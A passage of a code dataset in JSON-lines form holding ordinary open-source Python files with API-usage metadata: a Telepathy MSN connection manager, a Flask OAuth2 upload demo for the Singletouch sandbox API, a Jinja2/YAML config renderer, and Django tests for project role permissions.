"multitest_transport.plugins.base", "line_number": 65, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.UrlPattern", "line_number": 73, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base", "line_number": 73, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.AuthorizationMethod", "line_number": 78, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.base", "line_number": 78, "usage_type": "name"}, {"api_name": "multitest_transport.util.oauth2_util.OAuth2Config", "line_number": 80, "usage_type": "call"}, {"api_name": "multitest_transport.util.oauth2_util", "line_number": 80, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_ID", "line_number": 81, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 81, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_SECRET", "line_number": 82, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 82, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItemPathType", "line_number": 84, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.base", "line_number": 84, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_ID", "line_number": 98, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 98, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_SECRET", "line_number": 98, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.oauth2_util.OAuth2Config", "line_number": 100, "usage_type": "call"}, {"api_name": "multitest_transport.util.oauth2_util", "line_number": 100, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_ID", "line_number": 101, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 101, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_SECRET", "line_number": 102, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 102, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.constant.NUM_RETRIES", "line_number": 117, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 117, "usage_type": "name"}, {"api_name": "apiclient.errors", "line_number": 118, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.errors.FilePermissionError", "line_number": 120, "usage_type": "call"}, {"api_name": "multitest_transport.util.errors", "line_number": 120, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base.BuildItem", "line_number": 141, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base", "line_number": 141, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItem", "line_number": 156, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base", "line_number": 156, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.constant.NUM_RETRIES", "line_number": 182, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 182, "usage_type": "name"}, {"api_name": "apiclient.errors", "line_number": 183, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.errors.FilePermissionError", "line_number": 185, "usage_type": "call"}, {"api_name": "multitest_transport.util.errors", "line_number": 185, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItemType", "line_number": 210, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.base", "line_number": 210, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItem", "line_number": 213, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base", "line_number": 213, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItemType", "line_number": 219, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.base", "line_number": 219, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.base.BuildItem", "line_number": 227, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.base", "line_number": 227, "usage_type": "name"}, {"api_name": "apiclient.http.MediaIoBaseDownload", "line_number": 240, "usage_type": "call"}, {"api_name": "apiclient.http", "line_number": 240, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.errors.FileNotFoundError", "line_number": 258, "usage_type": "call"}, {"api_name": "multitest_transport.util.errors", "line_number": 258, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 261, "usage_type": "call"}, {"api_name": "multitest_transport.plugins.constant.DEFAULT_CHUNK_SIZE", "line_number": 263, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 263, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.constant.NUM_RETRIES", "line_number": 266, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 266, "usage_type": "name"}, {"api_name": "multitest_transport.util.file_util.FileChunk", "line_number": 267, "usage_type": "call"}, {"api_name": "multitest_transport.util.file_util", "line_number": 267, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.file_upload_hook.AbstractFileUploadHook", "line_number": 275, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.file_upload_hook", "line_number": 275, "usage_type": "name"}, {"api_name": "multitest_transport.util.oauth2_util.OAuth2Config", "line_number": 278, "usage_type": "call"}, {"api_name": "multitest_transport.util.oauth2_util", "line_number": 278, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_ID", "line_number": 279, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 279, "usage_type": "name"}, {"api_name": "multitest_transport.util.env.GOOGLE_OAUTH2_CLIENT_SECRET", "line_number": 280, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.env", "line_number": 280, "usage_type": "name"}, {"api_name": "multitest_transport.util.file_util.FileHandle.Get", "line_number": 302, "usage_type": "call"}, {"api_name": "multitest_transport.util.file_util.FileHandle", "line_number": 302, "usage_type": "attribute"}, {"api_name": "multitest_transport.util.file_util", "line_number": 302, "usage_type": "name"}, {"api_name": "multitest_transport.util.file_util.FileHandleMediaUpload", "line_number": 303, "usage_type": "call"}, {"api_name": "multitest_transport.util.file_util", "line_number": 303, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.constant.UPLOAD_CHUNK_SIZE", "line_number": 304, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 304, "usage_type": "name"}, {"api_name": "multitest_transport.plugins.constant.NUM_RETRIES", "line_number": 311, "usage_type": "attribute"}, {"api_name": "multitest_transport.plugins.constant", "line_number": 311, "usage_type": "name"}, {"api_name": "multitest_transport.models.event_log.Info", "line_number": 312, "usage_type": "call"}, {"api_name": "multitest_transport.models.event_log", "line_number": 312, "usage_type": "name"}]}
{"seq_id": "15451195395", "text": "import telepathy\nimport gobject\nimport dbus\nimport logging\n\nfrom butterfly.protocol import ButterflyProtocol\n\n__all__ = ['ButterflyConnectionManager']\n\nlogger = logging.getLogger('Butterfly.ConnectionManager')\n\n\nclass ButterflyConnectionManager(telepathy.server.ConnectionManager):\n    \"\"\"Butterfly connection manager\n    \n    Implements the org.freedesktop.Telepathy.ConnectionManager interface\"\"\"\n\n    def __init__(self, shutdown_func=None):\n        \"Initializer\"\n        telepathy.server.ConnectionManager.__init__(self, 'butterfly')\n\n        self._implement_protocol('msn', ButterflyProtocol)\n\n        self._shutdown = shutdown_func\n        logger.info(\"Connection manager created\")\n\n    def disconnected(self, conn):\n        def shutdown():\n            if self._shutdown is not None and \\\n                    len(self._connections) == 0:\n                self._shutdown()\n            return False\n        result = telepathy.server.ConnectionManager.disconnected(self, conn)\n        gobject.timeout_add_seconds(5, shutdown)\n\n    def quit(self):\n        \"Terminates all connections. Must be called upon quit\"\n        conns = self._connections.copy()\n        for connection in conns:\n            connection.Disconnect()\n        logger.info(\"Connection manager quitting\")\n", "repo_name": "Alberto-Beralix/Beralix", "sub_path": "i386-squashfs-root/usr/share/pyshared/butterfly/connection_manager.py", "file_name": "connection_manager.py", "file_ext": "py", "file_size_in_byte": 1272, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "telepathy.server", "line_number": 13, "usage_type": "attribute"}, {"api_name": "telepathy.server.ConnectionManager.__init__", "line_number": 20, "usage_type": "call"}, {"api_name": "telepathy.server", "line_number": 20, "usage_type": "attribute"}, {"api_name": "butterfly.protocol.ButterflyProtocol", "line_number": 22, "usage_type": "argument"}, {"api_name": "telepathy.server.ConnectionManager.disconnected", "line_number": 33, "usage_type": "call"}, {"api_name": "telepathy.server", "line_number": 33, "usage_type": "attribute"}, {"api_name": "gobject.timeout_add_seconds", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "3675986627", "text": "import json\nimport time\n\nfrom authlib.client import OAuth2Session\nfrom flask import Flask, request, render_template, redirect, url_for, session, flash\nimport requests\n\nSINGLETOUCH_API = \"https://sandbox-api.singletouch.com.au/api\"\nSINGLETOUCH_TENANT = \"singletouchsandbox.onmicrosoft.com\"\nSINGLETOUCH_POLICY = \"B2C_1_singletouch\"\nSINGLETOUCH_AUTH_CALLBACK = \"http://localhost:44396/B2C_1_singletouch-callback\"\n\nAZURE_AUTHORIZE_URL = \"https://login.microsoftonline.com/tfp/{tenant}/{policy}/oauth2/v2.0/authorize\"\nAZURE_AUTHORIZE_URL = AZURE_AUTHORIZE_URL.format(tenant=SINGLETOUCH_TENANT, policy=SINGLETOUCH_POLICY)\n\nAZURE_TOKEN_URL = \"https://login.microsoftonline.com/tfp/{tenant}/{policy}/oauth2/v2.0/token?p={policy}\"\nAZURE_TOKEN_URL = AZURE_TOKEN_URL.format(tenant=SINGLETOUCH_TENANT, policy=SINGLETOUCH_POLICY)\n\napp = Flask(__name__)\napp.config[\"SECRET_KEY\"] = \"This should be secret\"\n\n\n@app.route(\"/\")\ndef home():\n    if not is_token_valid():\n        return render_template(\"authorize.html\")\n    else:\n        return render_template(\"upload.html\")\n\n\ndef is_token_valid():\n    \"\"\" Determine if the current token is still valid\"\"\"\n    if \"token\" not in session:\n        return False\n\n    token = session.get(\"token\")\n\n    return token[\"expires_on\"] > time.time()\n\n\n@app.route(\"/authorize\", methods=[\"POST\"])\ndef authorize():\n    client_id = request.form[\"client-id\"]\n    client_secret = request.form[\"client-secret\"]\n\n    scope = client_id + \" openid\"\n\n    oauth_session = OAuth2Session(client_id, scope=scope, redirect_uri=SINGLETOUCH_AUTH_CALLBACK)\n\n    url, oauth_state = oauth_session.create_authorization_url(AZURE_AUTHORIZE_URL)\n\n    session[\"client_id\"] = client_id\n    session[\"client_secret\"] = client_secret\n\n    session.modified = True\n\n    return redirect(url)\n\n\n@app.route(\"/B2C_1_singletouch-callback\")\ndef auth_callback():\n    code = request.values[\"code\"]\n\n    client_id = session.pop(\"client_id\")\n    client_secret = session.pop(\"client_secret\")\n\n    scope = client_id + \" openid\"\n\n    oauth_session = OAuth2Session(client_id, scope=scope, redirect_uri=SINGLETOUCH_AUTH_CALLBACK)\n\n    token = oauth_session.fetch_access_token(AZURE_TOKEN_URL, code=code, client_secret=client_secret)\n\n    session[\"token\"] = token\n\n    return redirect(url_for(\"home\"))\n\n\n@app.route(\"/upload\", methods=[\"POST\"])\ndef upload():\n    file = request.files[\"file\"]\n\n    json_data = json.load(file.stream)\n    token = session.get(\"token\")\n\n    headers = {\"Authorization\": \"Bearer \" + token[\"id_token\"], \"Content-Type\": \"application/json\"}\n\n    # Note that the JSON request must be wrapped in a list\n    r = requests.post(SINGLETOUCH_API + \"/STPEvent2018\", json=[json_data], headers=headers)\n\n    if r.status_code == 200:\n        flash(\"Uploaded file\")\n    else:\n        flash(\"There was a problem uploading the file, got code {}\".format(r.status_code), category=\"error\")\n\n    return redirect(url_for(\"home\"))\n\n\nif __name__ == \"__main__\":\n    app.run(host=\"localhost\", debug=True, port=44396)\n", "repo_name": "LanceJenkinZA/singletouch", "sub_path": "singletouch.py", "file_name": "singletouch.py", "file_ext": "py", "file_size_in_byte": 2988, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 33, "usage_type": "name"}, {"api_name": "flask.session.get", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 36, "usage_type": "name"}, {"api_name": "time.time", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 44, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 44, "usage_type": "name"}, {"api_name": "authlib.client.OAuth2Session", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 53, "usage_type": "name"}, {"api_name": "flask.session.modified", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.session", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.session.pop", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 64, "usage_type": "name"}, {"api_name": "flask.session.pop", "line_number": 65, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 65, "usage_type": "name"}, {"api_name": "authlib.client.OAuth2Session", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 73, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 80, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 80, "usage_type": "name"}, {"api_name": "json.load", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.session.get", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 83, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 88, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 91, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 93, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 95, "usage_type": "call"}]}
{"seq_id": "3742125828", "text": "import yaml\nimport jinja2\nimport sys\nfrom pprint import pprint\n\nwith open(\"vars/arista.yaml\") as fyaml:\n    yaml_vars_string = fyaml.read()\n\nyaml_vars = yaml.load(yaml_vars_string, Loader=yaml.FullLoader)\n\nwith open(\"templates/arista.j2\") as fj2:\n    j2_template_string = fj2.read()\n\nj2_template = jinja2.Template(j2_template_string)\n\nconfig = j2_template.render(yaml_vars)\n\nwith open(\"configs/arista-conf\", \"w\") as fconf:\n    fconf.writelines(config)\n\nprint(\"Configuration rendered\")\n", "repo_name": "samosky123/python-training", "sub_path": "exercises/ex27_jinja2_yaml_and_netmiko/render_config.py", "file_name": "render_config.py", "file_ext": "py", "file_size_in_byte": 485, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "yaml.load", "line_number": 9, "usage_type": "call"}, {"api_name": "yaml.FullLoader", "line_number": 9, "usage_type": "attribute"}, {"api_name": "jinja2.Template", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "16249350597", "text": "'''\nCreated on Aug 3, 2010\n\n@author: jnaous\n'''\nfrom django.test import TestCase\nfrom django.contrib.auth.models import User\nfrom expedient.clearinghouse.project.models import Project\nfrom expedient.common.middleware import threadlocals\nfrom expedient.clearinghouse.roles.models import ProjectRole\nfrom expedient.common.permissions.shortcuts import create_permission,\\\n    has_permission\nfrom expedient.common.permissions.models import ObjectPermission,\\\n    PermissionOwnership\nfrom expedient.common.permissions.exceptions import PermissionCannotBeDelegated\nfrom expedient.clearinghouse.roles.utils import get_users_for_role\n\nclass TestModels(TestCase):\n    def setUp(self):\n        \"\"\"Create a project and test permissions and permittees\"\"\"\n        self.su = User.objects.create_superuser(\n            \"superuser\", \"su@su.com\", \"password\")\n        self.u1 = User.objects.create_user(\n            \"user1\", \"u@u.com\", \"password\")\n        self.u2 = User.objects.create_user(\n            \"user2\", \"u@u.com\", \"password\")\n        self.u3 = User.objects.create_user(\n            \"user3\", \"u@u.com\", \"password\")\n        \n        \n        self.client.login(username=\"superuser\", password=\"password\")\n        threadlocals.push_frame(user=self.su)\n\n        self.project = Project.objects.create(\n            name=\"projectX\", description=\"blabla\")\n        self.projectY = Project.objects.create(\n            name=\"projectY\", description=\"blabla\")\n        \n        self.client.logout()\n        threadlocals.pop_frame()\n        \n        create_permission(\"perm1\")\n        create_permission(\"perm2\")\n        create_permission(\"perm3\")\n        create_permission(\"perm4\")\n        \n        self.obj_perm1 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"perm1\", self.project)[0]\n        self.obj_perm2 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"perm2\", self.project)[0]\n        self.obj_perm3 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"perm3\", self.project)[0]\n        self.obj_perm4 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"perm4\", self.project)[0]\n        \n        self.role1 = ProjectRole.objects.create(\n            name=\"role1\", project=self.project,\n        )\n        self.role1.obj_permissions.add(self.obj_perm1)\n        \n        self.role2 = ProjectRole.objects.create(\n            name=\"role2\", project=self.project,\n        )\n        self.role2.obj_permissions.add(self.obj_perm2)\n\n        self.role3 = ProjectRole.objects.create(\n            name=\"role3\", project=self.project,\n        )\n        self.role3.obj_permissions.add(self.obj_perm1)\n        self.role3.obj_permissions.add(self.obj_perm3)\n        \n        create_permission(\"permY1\")\n        create_permission(\"permY2\")\n        create_permission(\"permY3\")\n        create_permission(\"permY4\")\n        \n        self.obj_permY1 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"permY1\", self.projectY)[0]\n        self.obj_permY2 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"permY2\", self.projectY)[0]\n        self.obj_permY3 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"permY3\", self.projectY)[0]\n        self.obj_permY4 = ObjectPermission.objects.\\\n            get_or_create_for_object_or_class(\"permY4\", self.projectY)[0]\n        \n        self.roleY1 = ProjectRole.objects.create(\n            name=\"roleY1\", project=self.projectY,\n        )\n        self.roleY1.obj_permissions.add(self.obj_permY1)\n        \n        self.roleY2 = ProjectRole.objects.create(\n            name=\"roleY2\", project=self.projectY,\n        )\n        self.roleY2.obj_permissions.add(self.obj_permY2)\n\n        self.roleY3 = ProjectRole.objects.create(\n            name=\"roleY3\", project=self.projectY,\n        )\n        self.roleY3.obj_permissions.add(self.obj_permY1)\n        self.roleY3.obj_permissions.add(self.obj_permY3)\n\n    def test_give_to_permittee(self):\n        # Give the role to a user and check that she gets the permission\n        self.role1.give_to_permittee(self.u1)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm1\"))\n        \n        # check that delegation permissions are enforced\n        self.assertRaises(\n            PermissionCannotBeDelegated,\n            self.role1.give_to_permittee,\n            self.u2,\n            giver=self.u1,\n        )\n        \n        # Give another role to the user and check that she gets the permission\n        self.role2.give_to_permittee(self.u1, can_delegate=True)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm2\"))\n        \n        # check that delegation permissions are enforced\n        self.role2.give_to_permittee(\n            self.u2,\n            giver=self.u1,\n        )\n        self.assertTrue(has_permission(self.u1, self.project, \"perm2\"))\n        \n    def test_remove_from_permittee_no_conflict(self):\n        \"\"\"\n        Check that a role can be removed from a permittee along with its\n        permissions when no other roles give the same permission\n        \"\"\"\n        \n        self.role1.give_to_permittee(self.u1)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm1\"))\n\n        self.role1.remove_from_permittee(self.u1)\n        self.assertFalse(has_permission(self.u1, self.project, \"perm1\"))\n\n    def test_remove_from_permittee_with_conflict(self):\n        \"\"\"\n        Check that a role can be removed from a permittee along with its\n        non-conflicting permissions\n        \"\"\"\n        \n        self.role1.give_to_permittee(self.u1)\n        self.role3.give_to_permittee(self.u1)\n        \n        self.assertTrue(has_permission(self.u1, self.project, \"perm1\"))\n        self.assertTrue(has_permission(self.u1, self.project, \"perm3\"))\n        \n        self.role1.remove_from_permittee(self.u1)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm1\"))\n        self.assertTrue(has_permission(self.u1, self.project, \"perm3\"))\n\n        self.role1.give_to_permittee(self.u1)\n        self.role3.remove_from_permittee(self.u1)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm1\"))\n        self.assertFalse(has_permission(self.u1, self.project, \"perm3\"))\n        \n    def test_add_permission(self):\n        \"\"\"\n        Check that adding a permission to a role gives that permission to\n        all permittees with the role\n        \"\"\"\n        \n        self.role1.give_to_permittee(self.u1)\n        self.role1.give_to_permittee(self.u2)\n        self.assertFalse(has_permission(self.u1, self.project, \"perm2\"))\n        self.assertFalse(has_permission(self.u2, self.project, \"perm2\"))\n        \n        self.role1.add_permission(self.obj_perm2)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm2\"))\n        self.assertTrue(has_permission(self.u2, self.project, \"perm2\"))\n        \n    def test_add_permission_delegation(self):\n        \"\"\"\n        Checks that add_permission works, and that delegation permissions\n        are enforced.\n        \"\"\"\n        \n        self.role1.give_to_permittee(self.u1)\n        self.role1.add_permission(self.obj_perm2, can_delegate=True)\n        self.role1.add_permission(self.obj_perm3, can_delegate=True)\n        self.role2.give_to_permittee(self.u2, giver=self.u1)\n        self.role2.add_permission(self.obj_perm3, giver=self.u1)\n        self.assertTrue(has_permission(self.u2, self.project, \"perm2\"))\n        self.assertTrue(has_permission(self.u2, self.project, \"perm3\"))\n        \n        # check when delegation does not work\n        self.role2.add_permission(self.obj_perm4)\n        self.assertTrue(has_permission(self.u2, self.project, \"perm4\"))\n        self.assertRaises(\n            PermissionCannotBeDelegated,\n            self.role1.add_permission,\n            self.obj_perm4,\n            giver=self.u2\n        )\n    \n    def test_filter_for_can_delegate(self):\n        self.role3.give_to_permittee(self.u1, can_delegate=True)\n        # check that the roles u1 can give are there\n        givable_roles = ProjectRole.objects.filter_for_can_delegate(\n            self.u1, self.project)\n        self.assertTrue(\n            self.role1 in givable_roles,\n            \"Expected role %s in givable roles, instead got %s\" % \n                (self.role1, givable_roles))\n        self.assertTrue(\n            self.role3 in givable_roles,\n            \"Expected role %s in givable roles, instead got %s\" % \n                (self.role3, givable_roles))\n        self.assertEqual(givable_roles.count(), 2)\n        \n        # now add a permission to role1 without delegating\n        self.role1.add_permission(self.obj_perm2)\n        \n        # The user shouldn't be able to delegate role1\n        givable_roles = ProjectRole.objects.filter_for_can_delegate(\n            self.u1, self.project)\n        self.assertEqual(givable_roles.count(), 1)\n        self.assertTrue(\n            self.role3 in givable_roles,\n            \"Expected role %s in givable roles, instead got %s\" % \n                (self.role3, givable_roles))\n    \n        # now add a permission to role3 without delegating\n        self.role3.add_permission(self.obj_perm2)\n        self.assertFalse(\n            PermissionOwnership.objects.get_ownership(\n                \"perm2\", self.project, self.u1).can_delegate)\n        \n        # The user shouldn't be able to delegate role3\n        givable_roles = ProjectRole.objects.filter_for_can_delegate(\n            self.u1, self.project)\n        self.assertEqual(givable_roles.count(), 0)\n\n    def test_remove_permission(self):\n        \"\"\"\n        Check that a permission can be removed from a role with and\n        without conflicts\n        \"\"\"\n        self.role1.give_to_permittee(self.u1)\n        self.role1.give_to_permittee(self.u2)\n        self.role1.add_permission(self.obj_perm2)\n\n        # remove with no conflict\n        self.role1.remove_permission(self.obj_perm2)\n        self.assertFalse(has_permission(self.u1, self.project, \"perm2\"))\n        self.assertFalse(has_permission(self.u2, self.project, \"perm2\"))\n\n        # add perm and conflicting role\n        self.role2.give_to_permittee(self.u1)\n        self.role2.give_to_permittee(self.u2)\n        self.role1.add_permission(self.obj_perm2)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm2\"))\n        self.assertTrue(has_permission(self.u2, self.project, \"perm2\"))\n        \n        # nothing should happen since role2 has \"perm2\"\n        self.role1.remove_permission(self.obj_perm2)\n        self.assertTrue(has_permission(self.u1, self.project, \"perm2\"))\n        self.assertTrue(has_permission(self.u2, self.project, \"perm2\"))\n\n    def test_filter_for_permission(self):\n        \"\"\"\n        Check that the filter_for_permission method of the\n        L{ProjectRoleManager} works.\n        \"\"\"\n        roles = ProjectRole.objects.filter_for_permission(\n            \"perm1\", self.project)\n        self.assertEqual(roles.count(), 2)\n        self.assertTrue(self.role1 in roles)\n        self.assertTrue(self.role3 in roles)\n        \n    def test_get_users_for_role(self):\n        self.role3.give_to_permittee(self.u1, can_delegate=True)\n        self.role3.give_to_permittee(self.u2, can_delegate=False)\n        self.role1.give_to_permittee(self.u3, can_delegate=True)\n        \n        users = get_users_for_role(self.role3, can_delegate=False)\n        self.assertEqual(users.count(), 2)\n        self.assertTrue(self.u1 in users)\n        self.assertTrue(self.u2 in users)\n\n        users = get_users_for_role(self.role3, can_delegate=True)\n        self.assertEqual(users.count(), 1)\n        self.assertTrue(self.u1 in users)\n\n        users = get_users_for_role(self.role1, can_delegate=False)\n        self.assertEqual(users.count(), 3)\n        self.assertTrue(self.u1 in users)\n        self.assertTrue(self.u2 in users)\n        self.assertTrue(self.u3 in users)\n\n        users = get_users_for_role(self.role1, can_delegate=True)\n        self.assertEqual(users.count(), 2)\n        self.assertTrue(self.u1 in users)\n        self.assertTrue(self.u3 in users)\n        ", "repo_name": "fp7-ofelia/ocf", "sub_path": "expedient/src/python/expedient/clearinghouse/roles/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 12091, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 18, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.test.TestCase", "line_number": 18, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_superuser", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 21, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 23, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 23, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 25, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.create_user", "line_number": 27, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 27, "usage_type": "name"}, {"api_name": "expedient.common.middleware.threadlocals.push_frame", "line_number": 32, "usage_type": "call"}, {"api_name": "expedient.common.middleware.threadlocals", "line_number": 32, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.project.models.Project.objects.create", "line_number": 34, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.project.models.Project.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.project.models.Project", "line_number": 34, "usage_type": "name"}, {"api_name": "expedient.clearinghouse.project.models.Project.objects.create", "line_number": 36, "usage_type": "call"}, {"api_name": "expedient.clearinghouse.project.models.Project.objects", "line_number": 36, "usage_type": "attribute"}, {"api_name": "expedient.clearinghouse.project.models.Project", "line_number": 36, "usage_type": "name"}, {"api_name": "expedient.common.middleware.threadlocals.pop_frame", "line_number": 40, "usage_type": "call"}, {"api_name": "expedient.common.middleware.threadlocals", "line_number": 40, "usage_type": "name"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 42, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 43, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 44, "usage_type": "call"}, {"api_name": "expedient.common.permissions.shortcuts.create_permission", "line_number": 45, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 47, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 47, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 49, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 49, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 51, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 51, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 51, "usage_type": "name"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects.get_or_create_for_object_or_class", "line_number": 53, "usage_type": "call"}, {"api_name": "expedient.common.permissions.models.ObjectPermission.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "expedient.common.permissions.models.ObjectPermission", "line_number": 53, "usage_type": "name"}, {"api_name": 